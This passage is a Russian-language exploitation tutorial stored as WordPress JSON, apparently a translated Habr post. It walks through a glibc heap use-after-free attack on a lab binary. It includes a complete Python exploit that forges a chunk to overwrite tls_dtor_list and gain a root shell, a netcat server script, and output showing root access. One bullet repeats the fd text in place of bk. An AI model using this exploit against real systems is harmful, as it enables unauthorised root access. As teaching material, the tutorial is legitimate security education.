\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0447\u0430\u043d\u043a <i>\u00abp2_2\u00bb<\/i>, \u0434\u0430\u0432\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u043e\u043b\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u0441 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0447\u0430\u043d\u043a\u0430.<\/p>\n<p>  \u0421\u0445\u0435\u043c\u0430 \u043a\u0443\u0447\u0438:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/sx\/rs\/zn\/sxrszn_-sa6hr75p_0v7pqjnxjy.png\"><\/p>\n<p>  \u041a\u0430\u043a \u043c\u044b \u0437\u043d\u0430\u0435\u043c \u0438\u0437 <a href=\"https:\/\/sploitfun.wordpress.com\/2015\/06\/09\/off-by-one-vulnerability-heap-based\/\">\u0441\u0442\u0430\u0442\u044c\u0438<\/a> \u0438\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 <i>\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f<\/i>, \u0435\u0441\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c LSB \u043f\u043e\u043b\u044f \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0447\u0430\u043d\u043a\u0430, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c <code>glibc malloc<\/code>, \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0440\u0432\u0430\u0442\u044c \u0441\u0432\u044f\u0437\u044c \u0441 \u0447\u0430\u043d\u043a\u043e\u043c <i>\u00abp2_1\u00bb<\/i>, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043e\u043d \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438. \u0422\u0430\u043a\u0436\u0435 \u0432 <a href=\"https:\/\/sploitfun.wordpress.com\/2015\/06\/09\/off-by-one-vulnerability-heap-based\/\">\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a> \u043c\u044b \u0432\u0438\u0434\u0435\u043b\u0438, \u0447\u0442\u043e \u043e\u0442\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430 \u0432 \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0435\u0441\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u043b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0447\u0430\u043d\u043a\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0447\u0430\u043d\u043a\u0430, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u043d\u0438\u0436\u0435:<\/p>\n<ul>\n<li><code>fd<\/code> \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0447\u0430\u043d\u043a\u0430. \u0418\u0437 \u0441\u0445\u0435\u043c\u044b \u043a\u0443\u0447\u0438 \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e <i>\u00abp2_1\u00bb<\/i> \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0438 0x410. \u041e\u0442\u0441\u044e\u0434\u0430, <code>fd = heap_base_address<\/code> (\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0438\u0437-\u0437\u0430 \u0443\u0442\u0435\u0447\u043a\u0438) + 0x410.<\/li>\n<li><code>bk<\/code> \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0447\u0430\u043d\u043a\u0430. \u0418\u0437 \u0441\u0445\u0435\u043c\u044b \u043a\u0443\u0447\u0438 \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e <i>\u00abp2_1\u00bb<\/i> \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0438 0x410. \u041e\u0442\u0441\u044e\u0434\u0430, <code>fd = heap_base_address<\/code> (\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0438\u0437-\u0437\u0430 \u0443\u0442\u0435\u0447\u043a\u0438) + 0x410.<\/li>\n<li><code>fd_nextsize<\/code> \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 <code>tls_dtor_list<\/code> \u2013 0x14. <i>\u00abtls_dtor_list\u00bb<\/i> \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0443 <code>private anonymous mapping \u0438\u0437 glibc<\/code>. \u0427\u0442\u043e\u0431\u044b \u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c\u0441\u044f \u0441 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u0435\u0439, \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u043a\u043e\u0434\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043d\u0438\u0436\u0435.<\/li>\n<li><code>bk_nextsize<\/code> \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 <i>\u00abdtor_list\u00bb<\/i>. <i>\u00absystem\u00bb dtor_list<\/i> \u0438\u043d\u044a\u0435\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u044b\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u0447\u0430\u043d\u043a\u0430, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a <i>\u00absetuid\u00bb dtor_list<\/i> \u0441\u0442\u0430\u0432\u0438\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 <i>\u00abp2_2\u00bb<\/i>. \u0418\u0437 \u0441\u0445\u0435\u043c\u044b \u043a\u0443\u0447\u0438 \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e <i>dtor_list<\/i> \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0441\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435\u043c 0x428 \u0438 0x618 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.<\/li>\n<\/ul>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0432\u0441\u044f \u044d\u0442\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a <i>\u00abvuln\u00bb<\/i>.<\/p>\n<p>  \u041a\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430:<\/p>\n<pre><code class=\"xml\">#exp.py #!\/usr\/bin\/env python import struct import sys import telnetlib import time  ip = '127.0.0.1' port = 1234  def conv(num): return struct.pack(&quot;&lt;I def send(data):  global con  con.write(data)  return con.read_until('\\n')  print &quot;** Bruteforcing libc base address**&quot; libc_base_addr = 0xb756a000 fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0 system = libc_base_addr + 0x3e6e0 system_arg = 0x80482ae size = 0x200 setuid = libc_base_addr + 0xb9e30 setuid_arg = 0x0  while True:  time.sleep(4)  con = telnetlib.Telnet(ip, port)  laddress = con.read_until('\\n')  laddress = laddress[8:12]  heap_addr_tup = struct.unpack(&quot;&lt;I&quot;, laddress)  heap_addr = heap_addr_tup[0]  print &quot;** Leaked heap addresses : [0x%x] **&quot; %(heap_addr)  heap_base_addr = heap_addr - 0x10  fd = heap_base_addr + 0x410  bk = fd  bk_nextsize = heap_base_addr + 0x618  mp = heap_base_addr + 0x18  nxt = heap_base_addr + 0x428   print &quot;** Constructing fake chunk to overwrite tls_dtor_list**&quot;  fake_chunk = conv(fd)  fake_chunk += conv(bk)  fake_chunk += conv(fd_nextsize)  fake_chunk += conv(bk_nextsize)  fake_chunk += conv(system)  fake_chunk += conv(system_arg)  fake_chunk += &quot;A&quot; * 484  fake_chunk += conv(size)  fake_chunk += conv(setuid)  fake_chunk += conv(setuid_arg)  fake_chunk += conv(mp)  fake_chunk += conv(nxt)  print &quot;** Successful tls_dtor_list overwrite gives us shell!!**&quot;  send(fake_chunk)   try:    con.interact()  except:    exit(0)<\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0438 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a (\u043f\u043e\u043a\u0430 \u0443 \u043d\u0430\u0441 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f), \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043d\u0430\u0448 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a <i>\u00abvuln\u00bb<\/i> \u043a\u0430\u043a \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e shell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0443\u0431\u0435\u0434\u0438\u043c\u0441\u044f, \u0447\u0442\u043e \u043e\u043d \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u0430\u0434\u0435\u043d\u0438\u0438.<\/p>\n<pre><code class=\"xml\">#vuln.sh #!\/bin\/sh nc_process_id=$(pidof nc) while : do  if [[ -z $nc_process_id ]]; then  echo &quot;(Re)starting nc...&quot;  nc -l -p 1234 -c &quot;.\/vuln sploitfun&quot;  else  echo &quot;nc is running...&quot;  fi done <\/code><\/pre>\n<p>  \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0432\u044b\u0448\u0435 \u0434\u0430\u0441\u0442 \u0432\u0430\u043c root-\u043f\u0440\u0430\u0432\u0430 \u0432 shell. \u041f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c!<\/p>\n<pre><code class=\"xml\">Shell-1$.\/vuln.sh Shell-2$python exp.py ... ** Leaked heap addresses : [0x889d010] ** ** Constructing fake chunk to overwrite tls_dtor_list** ** Successfull tls_dtor_list overwrite gives us shell!!** *** Connection closed by remote host *** ** Leaked heap addresses : [0x895d010] ** ** Constructing fake chunk to overwrite tls_dtor_list** ** Successfull tls_dtor_list overwrite gives us shell!!** *** Connection closed by remote host *** id uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 exit ** Leaked heap addresses : [0x890c010] ** ** Constructing fake chunk to overwrite tls_dtor_list** ** Successfull tls_dtor_list overwrite gives us shell!!** *** Connection closed by remote host *** ... $<\/code><\/pre>\n<p>  <\/p>\n<h3>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:<\/h3>\n<p>  <a href=\"http:\/\/v0ids3curity.blogspot.in\/2015\/02\/revisiting-defcon-ctf-shitsco-use-after.html\">1. Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability \u2013 Remote Code Execution<\/a><\/p>\n<hr>\n<p>  <a href=\"https:\/\/otus.pw\/iMNL\/\">\u0410\u043d\u0430\u043b\u0438\u0437 \u0431\u0443\u0442\u043a\u0438\u0442\u0430. \u0411\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0439 \u0443\u0440\u043e\u043a<\/a><\/p>\n<hr>\n<p>  <\/p>\n<h2>\u0427\u0438\u0442\u0430\u0442\u044c \u0435\u0449\u0451:<\/h2>\n<p>  <\/p>\n<ul>\n<li><a href=\"https:\/\/habr.com\/ru\/company\/otus\/blog\/513588\/\">\u0420\u0443\u0442\u043a\u0438\u0442\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 BIOS. \u0427\u0430\u0441\u0442\u044c 1<\/a><\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/company\/otus\/blog\/515158\/\">\u0420\u0443\u0442\u043a\u0438\u0442\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 BIOS. \u0427\u0430\u0441\u0442\u044c 2<\/a><\/li>\n<\/ul>\n<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/company\/otus\/blog\/516150\/\"> https:\/\/habr.com\/ru\/company\/otus\/blog\/516150\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/company\/otus\/blog\/516150\/\"><b><i>\u041f\u0440\u0438\u0432\u0435\u0442, \u0445\u0430\u0431\u0440! \u0412 \u043f\u0440\u0435\u0434\u0434\u0432\u0435\u0440\u0438\u0438 \u0441\u0442\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u043e\u0433\u043e \u043a\u0443\u0440\u0441\u0430 <a href=\"https:\/\/otus.pw\/iMNL\/\">\u00ab\u0420\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u00bb<\/a> \u043c\u044b \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u0434\u043b\u044f \u0432\u0430\u0441 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434. \u041d\u0430\u0447\u043d\u0435\u043c!<\/i><\/b><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/9q\/pn\/yb\/9qpnybfuid_xl_7kgno1wtivq3a.png\"><\/p>\n<p>  \u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:<\/p>\n<ol>\n<li>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c <a href=\"https:\/\/sploitfun.wordpress.com\/2015\/06\/09\/off-by-one-vulnerability-heap-based\/\">Off-By-One<\/a><\/li>\n<li>\u041f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b <code>malloc<\/code> \u0432 <code>glibc<\/code> <\/li>\n<\/ol>\n<p>  \u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b: Fedora 20 (x86).<\/p>\n<h3>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 Use-After-Free (UaF)?<\/h3>\n<p>  \u0411\u0430\u0433 Use-After-Free \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0435\u0441\u043b\u0438 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043a\u0443\u0447\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f. \u0422\u0430\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0435\u0447\u044c \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-308849","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/308849","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=308849"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/308849\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=308849"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=308849"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=308849"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}